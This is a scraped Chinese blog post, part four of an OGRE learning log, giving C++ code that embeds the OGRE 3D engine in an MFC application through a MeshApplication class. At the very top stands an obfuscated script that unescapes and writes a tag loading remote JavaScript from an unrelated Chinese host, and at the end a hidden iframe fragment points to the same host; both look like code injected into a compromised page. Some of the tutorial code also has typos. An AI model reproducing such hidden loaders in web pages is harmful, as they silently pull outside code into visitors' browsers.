HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
OGRE学习日志4
承接上文
然后再创建个类:取名为
MeshApplication
具体代码如下:
#ifndef _MeshApplication_h_
#define _MeshApplication_h_
#include "exampleapplication.h"
class MeshApplication :
public ExampleApplication
{
public:
MeshApplication(void);
virtual ~MeshApplication(void);
protected:
bool setup(HWND hWnd, int iHeight, int iWeight);
void createLights(void);
virtual void createFrameListener(void);
public:
Root* getRoot();
void createLight();
Entity* getEntity();
Camera* getCamera();
SceneManager* getSceneManager();
RenderWindow* getRenderWindow();
RenderWindow *addRenderWindow(HWND hWnd, int iHeight, int iWeight);
virtual void destroyScene(void);
virtual void createScene(void);
virtual void createCamera(void);
virtual void setBackGrond(const String & backGrondStyle);
virtual void modifyEntity(const String & entityName ,const String &
meshFileName, const String & meshPathName);
protected:
MeshPtr mCurrentMesh;
String mCurrentMeshPath;
Light* mSunLight;
Entity* mCurrentEntity;
SceneNode* mEntityNode;
private:
AxisAlignedBox BoundBox;
};
#endif //_MeshApplication_h_
-----MeshApplication.cpp
#include "StdAfx.h"
#include "./meshapplication.h"
#include "OgreD3D9RenderSystem.h"
#include "MeshFrameListener.h"
MeshApplication::MeshApplication(void)
{
mCurrentMeshPath = "";
mCurrentEntity = NULL;
mEntityNode = NULL;
}
MeshApplication::~MeshApplication(void)
{
destroyScene();
}
RenderWindow* MeshApplication::addRenderWindow(HWND hWnd, int iHeight, int iWeight)
{
static bool bFirst = true;
if(bFirst)
{
if(setup(hWnd, iHeight, iWeight))
{
bFirst = false;
}
return mWindow;
}
else
{
}
return NULL;
}
bool MeshApplication::setup(HWND hWnd, int iHeight, int iWeight)
{
mRoot = new Root();
setupResources();
//
指定使用
Direct3D9 Render System
渲染子系统。
RenderSystemList *rl = Root::getSingleton().getAvailableRenderers();
RenderSystemList::iterator it = rl->begin();
D3D9RenderSystem *mRSys = NULL;
while( it != rl->end() )
{
if( -1 != ( *it )->getName().find( "3D9" )
)
{
mRSys = ( D3D9RenderSystem* )( *it );
break;
}
it++;
}
//
配置框中的选项需要手动设置。
mRSys->initConfigOptions();
mRSys->setConfigOption( "Anti aliasing", "None" );
mRSys->setConfigOption( "Floating-point mode", "Fastest" );
mRSys->setConfigOption( "Full Screen", "No" );
mRSys->setConfigOption( "VSync", "No" );
mRSys->setConfigOption( "Video Mode", "640 x 480 @ 32-bit colour" );
mRoot->setRenderSystem( mRSys );
mRoot->initialise( false );
//
手动创建渲染窗口,在这里我们将
MFC
视图的句柄传入
NameValuePairList miscParams;
miscParams["externalWindowHandle"] = StringConverter::toString( ( size_t )hWnd );
mWindow = mRoot->createRenderWindow( "View", iHeight, iWeight, false, &miscParams );
chooseSceneManager();
createCamera();
createViewports();
createLights();
// Set default mipmap level (NB some APIs ignore this)
TextureManager::getSingleton().setDefaultNumMipmaps(5);
// Create any resource listeners (for loading screens)
createResourceListener();
// Load resources
loadResources();
// Create the scene
createScene();
createFrameListener();
return true;
}
SceneManager* MeshApplication::getSceneManager()
{
return mSceneMgr;
}
Root* MeshApplication::getRoot()
{
return mRoot;
}
Camera* MeshApplication::getCamera()
{
return mCamera;
}
Entity* MeshApplication::getEntity()
{
return mCurrentEntity;
}
RenderWindow* MeshApplication::getRenderWindow()
{
return mWindow;
}
void MeshApplication::createLights(void)
{
// Set ambient light.
mSceneMgr->setAmbientLight(ColourValue(0.6, 0.6, 0.6));
// Fixed light, dim
mSunLight = mSceneMgr->createLight("SunLight");
mSunLight->setType(Light::LT_SPOTLIGHT);
mSunLight->setPosition(100,125,50);
mSunLight->setSpotlightRange(Degree(30), Degree(50));
Vector3 dir;
dir = -mSunLight->getPosition();
dir.normalise();
mSunLight->setDirection(dir);
mSunLight->setDiffuseColour(0.65, 0.65, 0.68);
mSunLight->setSpecularColour(0.5, 0.5, 0.6);
}
void MeshApplication::createCamera(void)
{
// Create the camera
mCamera = mSceneMgr->createCamera("PlayerCam");
// Position it at
500 in
Z direction
Vector3 vecCenter = BoundBox.getCenter();
Vector3 vecMin, vecMax;
vecMin = BoundBox.getMinimum();
vecMax = BoundBox.getMaximum();
int yy = vecMax.y - vecMin.y;
int xx = vecMax.x - vecMin.x;
int zz = vecMax.z - vecMin.z;
zz = xx + yy + zz;
mCamera->setPosition(vecCenter.x, vecCenter.y, vecCenter.z + 300);
// Look back along -Z
mCamera->lookAt(vecCenter.x, vecCenter.y, vecCenter.z);
mCamera->setNearClipDistance(5);
}
void MeshApplication::createScene(void)
{
// Set ambient light
mSceneMgr->setAmbientLight(ColourValue(0.5, 0.5, 0.5));
// Define the required skyplane
Plane plane;
// 5000 world units from the camera
plane.d = 5000;
// Above the camera, facing down
plane.normal = -Vector3::UNIT_Y;
// Create the plane 10000 units wide, tile the texture 3 times
//mSceneMgr->setSkyPlane(true, plane, "Examples/SpaceSkyPlane",10000,3);
// Create a light
Light* l = mSceneMgr->createLight("MainLight");
// Accept default settings: point light, white diffuse, just set position
// NB I could attach the light to a SceneNode if I wanted it to move automatically with
//
other objects, but I don't
l->setPosition(20,80,50);
// create a SceneNode for the Entity
mEntityNode = mSceneMgr->getRootSceneNode()->createChildSceneNode("entitynode");
}
void MeshApplication::setBackGrond(const String & strBackGrondStyle)
{
mSceneMgr->setSkyBox(TRUE, strBackGrondStyle);
}
void MeshApplication::modifyEntity(const String & entityName ,const String &
meshFileName, const String & meshPathName)
{
// remove loaded entity.
if(mCurrentEntity)
{
mSceneMgr->removeEntity(mCurrentEntity);
mCurrentEntity = NULL;
if (mCurrentMeshPath != "")
{
ResourceGroupManager::getSingleton().removeResourceLocation(mCurrentMeshPath);
}
}
mCurrentMeshPath = meshPathName;
// Add this loctaion to resource manager
ResourceGroupManager::getSingleton().addResourceLocation(mCurrentMeshPath, "FileSystem", ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, true);
// Create new entity
mCurrentEntity = mSceneMgr->createEntity(entityName, meshFileName);
mEntityNode->attachObject(mCurrentEntity);
}
void MeshApplication::createFrameListener(void)
{
mFrameListener= new MeshFrameListener();
mRoot->addFrameListener(mFrameListener);
}
void MeshApplication::destroyScene(void)
{
delete mFrameListener;
mFrameListener = NULL;
delete mRoot;
mRoot = NULL;
}
修改
.APP
类
添加一个
MeshApplication
的对象
添加一个获取这个对象的函数
MeshApplication* getMeshApp()
{
return
&m_MeshApp;
}
修改
.View
类
添加成员变量
Camera* mCamera;
SceneManager* mSceneManager;
RenderWindwo* mRenderWindow;
修改
OnInitialUpdate()
添加如下代码
:
CMeshViewerApp *app = static_cast<CMeshViewerApp *>(AfxGetApp());
CRect
rect;
GetClientRect(&rect);
mRenderWindow
= app->getMeshApp()->addRenderWindow(m_hWnd, rect.Height(), rect.Width());
mSceneManager
= app->getMeshApp()->getSceneManager();
mCamera
= app->getMeshApp()->getCamera();
ShowCursor(TRUE);
SetTimer( 100, 20, 0 );
修改
View
类
修改
OnPaint()
函数
//update render window if created
If(mRenderWindow)
{
mRenderWindow->update();
}
添加
OnTimer()
函数,用于定时刷新窗口
Root::getSingleton(), _fireFrameStarted();
mRenderWindow->update();
Root::getSingleton(), _fireFrameEnded();
_super::OnTimer(nIDEvent);
写那么多累死我了,最后连接运行提示中断
不要慌,复制必要的
.dll
文件,
.cfg
文件和资源文件即可。
注意不要忘了修改
resource.cfg
文件的路径,和资源文件对应。
至此,基于
BCGCBPR
的
OGRE
程序框架打好。不容易啊
计算机科学学院
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">